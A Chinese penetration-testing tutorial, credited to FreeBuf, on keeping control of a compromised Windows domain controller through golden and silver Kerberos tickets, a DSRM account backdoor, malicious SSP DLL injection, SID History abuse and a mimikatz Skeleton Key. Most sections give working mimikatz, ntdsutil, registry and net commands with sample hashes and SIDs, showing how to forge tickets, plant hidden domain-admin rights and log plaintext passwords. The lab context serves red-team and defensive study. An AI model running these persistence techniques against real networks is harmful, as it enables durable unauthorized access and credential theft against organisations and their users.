在上篇文章中讲了维持Windows操作系统的权限,这篇讲讲在获得域控制器的权限后,将域控制器权限持久化的方法

黄金/白银票据

首先来说说耳熟能详的黄金白银票据吧

Kerberos认证

在学习黄金白银票据前,首先先简单的了解一下什么是Kerberos认证1638888866_61af75a2a0e61a073bbac.png!small

.KDC(Key Distribution Center)密钥分发中心。
在KDC中又分为两个部分:Authentication Service(AS,身份验证服务)和Ticket Granting Service(TGS,票据授权服务)

AD会维护一个Account Database(账户数据库). 它存储了域中所有用户的密码Hash和白名单。只有账户密码都在白名单中的Client才能申请到TGT。

Kerberos认证的大概流程:

当 Client 想要访问 Server 上的某个服务时,需要先向 AS 证明自己的身份,验证通过后AS会发放的一个TGT,随后Client再次向TGS证明自己的身份,验证通过后TGS会发放一个ST,最后Client向 Server 发起认证请求,这个过程分为三块:

Client 与 AS 的交互,
Client 与 TGS 的交互,
Client 与 Server 的交互。

黄金票据是伪造TGT,白银票据则是伪造ST

黄金票据Golden ticket

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

伪造金票的场景和所需条件

黄金票据的利用常用于权限维持阶段。假设这么一种情况,我们已拿到的域内所有的账户Hash,包括krbtgt账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

所需条件

1、域名称

2、域的SID值

3、域的KRBTGT账号的HASH

4、伪造任意用户名

(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)

利用方式

先前利用mimikatz拿到了域管理权限时获取的域的SID和KRBTGT账号的NTLM HASH

privilege::debug
lsadump::lsa /patch

1638888932_61af75e47d3ec31f2c7cd.png!small?1638888932508

现在因为某些原因丢失了域控的权限,但是还有一个普通的域内用户

在普通域用户中使用mimikatz生成黄金票据.kirbi文件并保存:

kerberos::golden /user:administrator /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /krbtgt:ac923e1d7f56e0adf967356b8d41953e /ticket:ticket.kirbi

/user:需要伪造的域管理员用户
/domain:域名称
/sid:SID值,(这里要是使用系统命令的话抓到是这样的SID,最后面的值代表着这个账号的SID值,注意是去掉最后一个-后面的值!)

1638888939_61af75ebcabd15f0f4c1d.png!small?1638888939842

/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称

1638888947_61af75f3d42297f5e7914.png!small?1638888947868

1638888952_61af75f807b53b83f4a20.png!small?1638888952025

第二步用mimikatz清除票据

kerberos::purge   \\清除票据
kerberos::tgt     \\查看票据

1638888959_61af75ff9a0c1b9a2224d.png!small?1638888959592

第三步用mimikatz导入票据

kerberos::ptt ticket.kirbi

1638888964_61af760414196fef0202e.png!small?1638888964098

成功访问dc

此时尝试创建一个的域管账号,命令执行成功:

net user aaa !@#qwe123 /add /domain
net group "domain admins" aaa /add/domain

1638888969_61af76099a7a07f214f0c.png!small?1638888969606

1638888977_61af761171aa7ec57189a.png!small?1638888977471

1638888985_61af761908cc773dab632.png!small?1638888985059

银票SILVER TICKET

原理

白银票据就是伪造的ST。
在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

伪造银票所需条件

1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH 
6.需要伪造的用户名

在域控中使用mimikatz获取相关信息

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

1638888996_61af762407256d2ed8999.png!small?1638888996026

1638889000_61af7628b7292acc59c50.png!small?1638889002188

回到域内低权限的账号

先使用mimikatz清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-954094320-202977030-1482179831 /target:DC.hacke.testlab /service:cifs /rc4:2c7f354c971b062e1e42f12a30709a7f /user:aaa /ptt

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt

其中的用户名可以随便写

服务类型可以从以下内容中来进行选择,因为没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

1638889012_61af7634e6a948654576d.png!small?1638889013069

1638889015_61af7637b32d837b3a2ae.png!small?1638889015759

测试一下,成功执行dir \\dc\c$,并且可以创建域管账号,复制文件等:

1638889027_61af7643baa89c22f086d.png!small?1638889027767

1638889030_61af76465dd8ff1079104.png!small?1638889030333

金票和银票的区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

DSRM域后门

DSRM介绍

Directory Services Restore Mode,中文名目录服务恢复模式

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。

渗透测试中,可以使用DSRM账号对域环境进行持久化操作。每个DC都有DSRM账号,DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

微软公布了修改DSRM密码的方法。在域控制器上打开命令行环境,常用命令说明如下。

ntdsutil #进入ntdsutil
setdsrm password #设置DSRM账户的密码
reset password on server null  #在当前域控制器上恢复DSRM密码
#输入新密码
#重新输入新密码
q #退出DSRM密码设置模式
q #退出ntdsutil

如果域控制器的系统版本为Windows Server 2008及其以上可以将DSRM密码同步为已存在的域账号密码。(Windows Server 2008版本的系统需要安装 KB961320 补丁 )

ntdsutil #进入ntdsutil
setdsrm password #设置DSRM账户的密码
sync fromdomain account domainusername #使DSRM的密码和指定的的domainusername域用户的密码同步
q #退出DSRM密码设置模式
q #退出ntdsutil

实验演示

下面以windows server 2012作为实验演示,假设已经获取了域控windows server 2012的权限,现在进行权限维持

查看NTLM Hash

使用mimikatz查看krbtgt的NTLM Hash

privilege::debug
lsadump::lsa /patch /name:krbtgt

1638889038_61af764ee6679ad65816b.png!small?1638889038938

查看到NTLM为:3904c927824bc89365275bde17a1f115

再分别输入如下命令,查看SAM文件中本地管理员的NTLM Hash

token::elevate
lsadump::sam

1638889043_61af7653174bf9d762215.png!small?1638889043065

查看到NTLM为:3f57163975979b7a85ff54a641a63b2d

同步NTLM Hash

将DSRM账号和 krbtgt的 NTLM Hash同步

ntdsutil #进入ntdsutil
setdsrm password #设置DSRM账户的密码
sync fromdomain account domainusername #使DSRM的密码和指定的的domainusername域用户的密码同步
q #退出DSRM密码设置模式
q #退出ntdsutil

1638889051_61af765b014ef3e6834e1.png!small?1638889050995

当显示已成功同步密码后,就可以了

验证一下是否成功了,使用mimikatz分别抓取krbtgt的NTLM Hash和administrator的NTLM Hash

1638889053_61af765d88befb2e578c3.png!small?1638889053538

修改DSRM账户登录方式

在注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建DsrmAdminLogonBehavior项(DWORD32位)

1638889056_61af76601103497c8ae89.png!small?1638889056064

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

将这个值修改为2,这样在任何情况下,都可以使用DSRM管理员账号登录域控制器

测试

接下来使用一个域成员机器的本地管理员账户测试一下

privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:3904c927824bc89365275bde17a1f115

1638889061_61af7665dd704b1fd7529.png!small?1638889062986

完成之后会弹出一个命令行窗口,dir测试一下,成功

1638889064_61af76688341d09752480.png!small?1638889064511

使用这个终端打开mimikatz还可以进行dcysnc远程转储krbtgt的NTLM Hash

lsadump::dcsync /domain:hacke.testlab /dc:dc /user:krbtgt

1638889068_61af766c6e9051b1e7ce3.png!small?1638889068431

SSP维持域控权限

SSP介绍

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能
如果获得了域控的System权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

使用mimikatz将伪造的SSP注入内存

privilege::debug
misc::memssp

1638889076_61af767461fe256a34423.png!small?1638889076391

如上图所示,我们已经成功将伪造的SSP注入内存中了,只要域控用户重新登录,那么密码就会被记录在 C:\Windows\System32\mimilsa.log 中

1638889079_61af76774c97f09ceb5b1.png!small?1638889079325

优点:这种方法不会在系统中留下二进制文件,
缺点:但域控重启,被注入内存的伪造SSP就会丢失。

将 mimikatz中的 mimilib.dll放到系统目录1638889083_61af767b3527c3b7c29f8.png!small?1638889083251

修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,将下面的命令添加进去,让其加载新的DLL文件"mimilib.dll"

kerberos
msv1_0
schannel
wdigest
tspkg
pku2u
mimilib.dll

1638889088_61af76806d25214ae6da8.png!small?1638889088427

系统重启后,DLL将会被成功加载,用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log中

1638889091_61af76831debb4c142c9d.png!small?1638889091102

而打开刚刚的mimilsa,里面就没有更新密码了

优点:即使系统重启,也不会影响持久化效果;
缺点:但是会在目标主机上留下二进制文件。易被发现

SID History 域后门

说到SID大家应该都不陌生,每个用户都有自己的SID,相当于sf证,而SID History是在域迁移过程中需要使用的一个属性,作用是在域迁移的过程中保持用户的访问权限。在渗透测试中,如果获得了域管理员的权限,就可以利用mimikatz将SID history作为实现持久化的方法

下面以windows2012进行测试

首先创建一个恶意用户testuser,使用powershell查看用户的SID History

Import-Module activedirectory
 Get-ADUser testuser -Properties sidhistory

1638889094_61af7686a4d3bced94286.png!small?1638889094679

可以看到目前这个用户是没有SIDHistory的

在域控上使用mimikatz来操作, 将域管理员Administrator的SID添加到恶意域用户testuser的SID History属性中。

privilege::debug
sid::patch    #使用 sid::patch 命令修复NTDS服务
sid::add /sam:hack /new:Administrator #将Administrator的SID添加到test的SID History属性中

1638889099_61af768b721cac3cdee3e.png!small?1638889099411

1638889102_61af768e7a3e379fd6320.png!small?1638889102493

接下来测试一下看看能否连接到域控

1638889105_61af769101b416201b20a.png!small?1638889104960

对于这种方式,我刚开始觉得,这和创建一个管理员的用户没什么区别呀,而且还挺麻烦

但是发现这个用户没在域管理员组,却也有域管理员的权限,这就降低了被发现的可能

net group "domain admins"/domain

1638889108_61af7694254bf0789c797.png!small?1638889108143

万能密码Skeleton Key

mimikatz的MISC::Skeleton,在 DC 中注入万能key(Skeleton Key) 到 LSASS 进程中。这使得所有用户所使用的万能key修补DC使用"主密码” (又名万能key)以及他们自己通常使用的密码进行身份验证。

1638889110_61af7696aa3c7712e8fde.png!small?1638889111655

下面以windows 2012测试

域控制器中使用mimikatz注入Skeleton Key

privilege::debug
misc::skeleton

1638889112_61af7698ed4ecfd275e0c.png!small?1638889112956

系统提示 Skeleton Key已经注入成功。此时,会在域内的所有账号中添加一个 Skeleton Key其密码默认为“ mimikatz"。接下来,就可以以域内任意用户的身份,配合该 Skeleton Key,进行域内身份授权验证了

使用低权限用户测试

net use \\dc\ipc$ "mimikatz"/user:administrator

1638889119_61af769f43bb425048a9b.png!small?1638889119255

本文作者:lryfish, 转自FreeBuf